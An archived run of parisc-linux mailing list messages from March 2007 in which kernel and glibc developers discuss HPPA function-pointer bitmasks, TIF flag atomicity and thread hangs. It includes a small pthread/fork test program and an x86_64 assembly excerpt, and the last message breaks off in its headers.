  by mx0.gmx.net (mx071) with SMTP; 11 Mar 2007 20:54:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49EA97DA40;
	Sun, 11 Mar 2007 13:53:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15045-03; Sun, 11 Mar 2007 13:53:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66BB37DA2E;
	Sun, 11 Mar 2007 13:53:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D658B7DA1B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 13:53:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14841-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 13:53:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1AB647DA02
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 13:53:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l2BJrlda010168;
	Sun, 11 Mar 2007 14:53:48 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l2BJrkPM010167;
	Sun, 11 Mar 2007 15:53:46 -0400 (EDT)
In-Reply-To: <20070311201750.0f280e87@localhost> from "Guy Martin" at Mar 11,
	2007 08:17:50 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ODKfLehBTlIv7beQeGhryddGU2poZZmx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24438

> The dladdr test of the glibc testsuite fail for the following reason :
> 
> in elf/dl-addr.c:30, the address passed is transformed this way :
>   const ElfW(Addr) addr = DL_LOOKUP_ADDRESS (address);
> 
> 
> While in ports/sysdeps/hppa/dl-lookupcfg.h:35, you have this :
> 
> /* Clear the bottom two bits so generic code can find the fdesc entry */
> #define DL_LOOKUP_ADDRESS(addr) \
>   (_dl_lookup_address ((void *)((unsigned long)addr & ~3)))
> 
> 
> If you don't apply this bitmask, addr is set to the original value of
> the passed address and it is resolved correctly.
> 
> What should be the correct fix ?

I don't believe you have provided enough info regrading the cause
of the failure.  The PA port uses the bottom two bits for special
purposes.  Magic is used to compare function pointers.

Be very careful with this.  Changing the treatment of the bottom
two bits in function pointers will break calls to/from functions
in any shared library (i.e., any call that uses a fdesc).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with atomicity of TIF for parisc ?
Date: Sun, 11 Mar 2007 21:24:04 +0100
Lines: 153
Approved: news@gmane.org
Message-ID: <200703112124.05035.deller__22159.9314049401$1416624325$gmane$org@gmx.de>
References: <200703100006.l2A06o7Y012173@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_lVG9FBdoYxCezR9"
X-Trace: ger.gmane.org 1416624325 23470 80.91.229.3 (22 Nov 2014 02:45:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2007 20:24:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 11 Mar 2007 21:24:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A42A67DA3A;
	Sun, 11 Mar 2007 14:24:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15343-03; Sun, 11 Mar 2007 14:24:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BAD97DA40;
	Sun, 11 Mar 2007 14:24:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6361B7DA2E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 14:24:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15045-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 14:24:08 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 3F2487DA28
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 14:24:08 -0600 (MDT)
Original-Received: (qmail invoked by alias); 11 Mar 2007 20:24:06 -0000
Original-Received: from mnhm-590dad97.pool.einsundeins.de (EHLO p100.box)
	[89.13.173.151]
	by mail.gmx.net (mp029) with SMTP; 11 Mar 2007 21:24:06 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.6
In-Reply-To: <200703100006.l2A06o7Y012173@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QFfDcvZtbGI0/6aDYmRncO9ncmZ1Zlz8
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24439

--Boundary-00=_lVG9FBdoYxCezR9
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi Dave,

On Saturday 10 March 2007, John David Anglin wrote:
> > Now I'm wondering if our thread-problems may be due the fact that we do not disable interrupts while testing the TIF_XX values in arch/parisc/kernel/entry.S, e.g.:
> 
> Do you have a testcase?  

Randolph pointed me once to the thread_test2.c testprogram in parisc's 'userspace' CVS repository.
Source is attached, but I haven't tested it since a few weeks...

> I'm still seeing the occasional thread test 
> fail in the GCC testsuite fail.  These are usually timeouts.  I'm not
> seeing hung processes leading to a kernel crash anymore ;)

Me neither.

Helge


--Boundary-00=_lVG9FBdoYxCezR9
Content-Type: text/plain;
  charset="iso-8859-1";
  name="thread_test2.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="thread_test2.c"

/* gcc -Wall -O2 -o thread_test2 thread_test2.c -lpthread */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>

pthread_cond_t started, terminated;
pthread_mutex_t started_lock, terminated_lock;
pthread_t thread;

static void *threadfunc(void *data)
{
	int *count = (int *)data;
	pid_t pid;
	int status;

	printf("Thread %d started\n", *count);

	pthread_cond_signal(&started);
	pid = fork();
	switch (pid) {
		case 0: /* Child */
			printf("Process %d started\n", *count);
			sleep(1);
			exit(10);
			break;

		case -1: /* Error */
			perror("fork");
			return NULL;
	}

	printf("Waiting on pid %d\n", pid);
	pid = waitpid(-1, &status, 0);
	if (pid < 0) {
		perror("waitpid");
		return NULL;
	}

	printf("Thread %d terminated (%d)\n", *count, WEXITSTATUS(status));
	pthread_cond_signal(&terminated);

	pthread_exit(NULL);

	return 0;
}

int main(int argc, char **argv)
{
	int count, ret;

	for (count = 1; ; count++) {
		ret = pthread_cond_init(&started, NULL);
		if (ret) {
			perror("pthread_cond_init(started)");
			break;
		}

		ret = pthread_mutex_init(&started_lock, NULL);
		if (ret) {
			perror("pthread_mutex_init(started_lock)");
			break;
		}

		ret = pthread_cond_init(&terminated, NULL);
		if (ret) {
			perror("pthread_cond_init(terminated)");
			break;
		}

		ret = pthread_mutex_init(&terminated_lock, NULL);
		if (ret) {
			perror("pthread_mutex_init(terminated_lock)");
			break;
		}

		ret = pthread_create(&thread, NULL, threadfunc, &count);
		if (ret) {
			perror("pthread_create");
			break;
		}

		pthread_mutex_lock(&started_lock);
		do {
			ret = pthread_cond_wait(&started, &started_lock);
		} while (ret != 0);
		pthread_mutex_unlock(&started_lock);
		
		pthread_mutex_destroy(&started_lock);
		pthread_cond_destroy(&started);

		pthread_mutex_lock(&terminated_lock);
		do {
			ret = pthread_cond_wait(&terminated, &terminated_lock);
		} while (ret != 0);
		pthread_mutex_unlock(&terminated_lock);

		pthread_mutex_destroy(&terminated_lock);
		pthread_cond_destroy(&terminated);
	}

	return 0;
}

--Boundary-00=_lVG9FBdoYxCezR9
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_lVG9FBdoYxCezR9--



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with atomicity of TIF for parisc ?
Date: Sun, 11 Mar 2007 21:25:53 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <200703112125.53971.deller__17606.0614445761$1416624325$gmane$org@gmx.de>
References: <200703092007.32746.deller@gmx.de>
	<200703100006.l2A06o7Y012173@hiauly1.hia.nrc.ca>
	<20070310140324.GA31586@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624325 23476 80.91.229.3 (22 Nov 2014 02:45:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:25 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2007 20:26:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 11 Mar 2007 21:26:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B7A1C7DA57;
	Sun, 11 Mar 2007 14:26:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15465-05; Sun, 11 Mar 2007 14:26:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D9BF7DA5A;
	Sun, 11 Mar 2007 14:26:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4878E7DA47
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 14:26:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15343-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 14:25:58 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 297387DA3A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 14:25:58 -0600 (MDT)
Original-Received: (qmail invoked by alias); 11 Mar 2007 20:25:56 -0000
Original-Received: from mnhm-590dad97.pool.einsundeins.de (EHLO p100.box)
	[89.13.173.151]
	by mail.gmx.net (mp017) with SMTP; 11 Mar 2007 21:25:56 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.6
In-Reply-To: <20070310140324.GA31586@athena.road.mcmartin.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7R/BLcl+ZDI4sbHGdWY2vP9xemhmY8FX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24440

On Saturday 10 March 2007, Kyle McMartin wrote:
> On Fri, Mar 09, 2007 at 07:06:50PM -0500, John David Anglin wrote:
> > 
> > Is disabling interrupts sufficient on a SMP system?
> > 
> 
> No. :/

Hi Kyle,

Independend of the fact if irq-disabling is enough on SMP or not.
The question still remains: May this be one of the reasons we see the hangs ?

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
Date: Sun, 11 Mar 2007 15:39:25 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1173645565.3420.22.camel__32981.641466222$1416624326$gmane$org@mulgrave.il.steeleye.com>
References: <200702240039.l1O0dCxG017471@hiauly1.hia.nrc.ca>
	<1172277920.3424.83.camel@mulgrave.il.steeleye.com>
	<119aab440702251819u1a070512j2cb8ca2eeadf0962@mail.gmail.com>
	<1172461983.3423.34.camel@mulgrave.il.steeleye.com>
	<1172467172.3423.39.camel@mulgrave.il.steeleye.com>
	<1172620930.3408.46.camel@mulgrave.il.steeleye.com>
	<20070308193119.GA3553@athena.road.mcmartin.ca>
	<119aab440703111328x5738d60es118519743e6000a3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624326 23478 80.91.229.3 (22 Nov 2014 02:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:26 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2007 20:40:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 11 Mar 2007 21:40:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6FF4B7DA8E;
	Sun, 11 Mar 2007 14:40:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15707-07; Sun, 11 Mar 2007 14:40:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9055F7DA83;
	Sun, 11 Mar 2007 14:40:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FF077DA78
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 14:40:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15588-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 14:40:17 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 5CACC7DA53
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 14:40:17 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l2BKdPx18256; 
	Sun, 11 Mar 2007 15:39:25 -0500
In-Reply-To: <119aab440703111328x5738d60es118519743e6000a3@mail.gmail.com>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Al7BcdVTTiEt/ayUaGRwAdZ1ZUVSRBd1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24441

On Sun, 2007-03-11 at 16:28 -0400, Carlos O'Donell wrote:
> Are we considering James' patch for inclusion into
> git.parisc-linux.org?

No ... it's failing on more complex tests.  The theory is sound ... we
have a huge cockup in our shared space handling code (which is why
threads don't work very well).  The problem is I'm not entirely sure how
to fix it.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with atomicity of TIF for parisc ?
Date: Sun, 11 Mar 2007 18:40:29 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <200703112240.l2BMeVKD014570__19648.3745392927$1416624326$gmane$org@hiauly1.hia.nrc.ca>
References: <200703112125.53971.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624326 23482 80.91.229.3 (22 Nov 2014 02:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:26 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2007 22:45:57 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx045) with SMTP; 11 Mar 2007 23:45:57 +0100
Original-Received: from hiauly1.hia.nrc.ca ([127.0.0.1])
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l2BMjtar014916;
	Sun, 11 Mar 2007 17:45:55 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l2BMeVKD014570;
	Sun, 11 Mar 2007 18:40:31 -0400 (EDT)
In-Reply-To: <200703112125.53971.deller@gmx.de> from "Helge Deller" at Mar 11, 2007 09:25:53 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: x++BdqshODBp77WUfGRMkaE1Ji9SWlJH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24442

> Independend of the fact if irq-disabling is enough on SMP or not.
> The question still remains: May this be one of the reasons we see the hangs ?

Looking at a couple of other archs, it appears the reschedule check is done
with interrupts disabled.  For example,

        /* Either reschedule or signal or syscall exit tracking needed. */
	/* First do a reschedule test. */
	/* edx: work, edi: workmask */
int_careful:
	bt $TIF_NEED_RESCHED,%edx
	jnc  int_very_careful
	TRACE_IRQS_ON
	sti
	pushq %rdi
	CFI_ADJUST_CFA_OFFSET 8
	call schedule
	popq %rdi
	CFI_ADJUST_CFA_OFFSET -8
	cli
	TRACE_IRQS_OFF
	jmp int_with_check

However, since interrupts are enabled after the test, I have to think
that the test is just a first cut at determining whether to reschedule.
So, I suspect there isn't an issue with the code in entry.S.

The x86_64 problem concerned the clearing and setting of TIF flags
in an atomic manner.  I don't see a problem with this in arch/parisc/kernel.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PARISC] parisc-patch for Linux Test Project
Date: Tue, 13 Mar 2007 16:26:47 -0400
Organization: wh0rd.org
Lines: 68
Approved: news@gmane.org
Message-ID: <200703131626.47622.vapier__3686.61742327294$1416624326$gmane$org@gentoo.org>
References: <enp0um$dek$1@sea.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart7679364.bG73rtrKA9";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624326 23485 80.91.229.3 (22 Nov 2014 02:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 ltp-list@lists.sourceforge.net
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
